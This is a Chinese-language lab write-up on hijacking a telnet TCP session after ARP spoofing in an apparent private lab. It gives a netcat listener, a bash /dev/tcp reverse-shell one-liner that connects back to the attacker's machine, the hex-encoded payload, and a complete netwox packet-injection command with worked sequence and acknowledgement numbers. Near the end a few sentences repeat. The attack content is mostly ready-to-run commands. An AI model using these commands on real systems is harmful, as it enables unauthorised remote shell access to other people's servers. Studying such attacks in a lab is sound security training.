TCP劫持及反弹shell攻击
0.实验环境
server 192.168.88.137
client 192.168.88.131
kali 192.168.88.133
1.ARP攻击 劫持流量
参照之前的实验不过多赘述
2.观察流量
读到 src_port、seq、ack 如何具体取值请看 4.注.3
注:seq、ack值 在取值之前需要设置
1.右键选中一个tcp流量
2.按照图示 将光标处的选项取消勾选
3.开启监听
nc -lvvp 9999
表示监听本机9999端口
4.构造payload
1.构造shellcode
bash -i>&/dev/tcp/192.168.88.133/9999 0>&1
经典反弹shell命令
使用cyberchef,tohex
62617368202d693e262f6465762f7463702f3139322e3136382e38382e3133332f3939393920303e2631
记得加 0d00
其中 0x0d为回车 0x00 为空字符 目的截断
最后的shellcode为
62617368202d693e262f6465762f7463702f3139322e3136382e38382e3133332f3939393920303e26310d00
2.构造攻击命令
sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src {client} --ip4-dst {server} --tcp-src {src_port} --tcp-dst 23 --tcp-seqnum {ack} --tcp-acknum {seq} --tcp-ack --tcp-psh --tcp-window 227 --tcp-data {shellcode}
注:
1. ack、seq一定要反着来,别问为什么,问就去补tcp/ip工作原理吧!
2.{name}:获取变量名为name的值 熟悉python的同学很了解吧
3.由于处于ARP欺骗中,不要看错包
这四个包为一组 后两个包为确认收到的包
所以src_port、seq、ack应从前两个包中取 不然又反了。。。(视频前两次失败的原因就在这,懒得补录了。。。)
src_port 即 41450
seq 即 2818841513
ack 即 3893561905
eg:
sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 192.168.88.131 --ip4-dst 192.168.88.137 --tcp-src 47740 --tcp-dst 23 --tcp-seqnum 3035401169 --tcp-acknum 1050352061 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e38382e3133332f3939393920303e26310d00
执行即可拿到shell
备注
本次实验基于telnet
使实验成为可能主要原因:1.劫持流量 2.telnet为明文传输
所以不能使用ssh进行本次实验 原因:ssh使用密文传输,不是说不能打而是条件苛刻。
关于ubuntu 20.04 LTS 如何开启telnet
劫持流量 2.telnet为明文传输
所以不能使用ssh进行本次实验 原因:ssh使用密文传输,不是说不能打而是条件苛刻。
关于ubuntu 20.04 LTS 如何开启telnet
参考了解决Ubuntu中telnet 127.0.0.1时Unable to connect to remote host: Connection refused的问题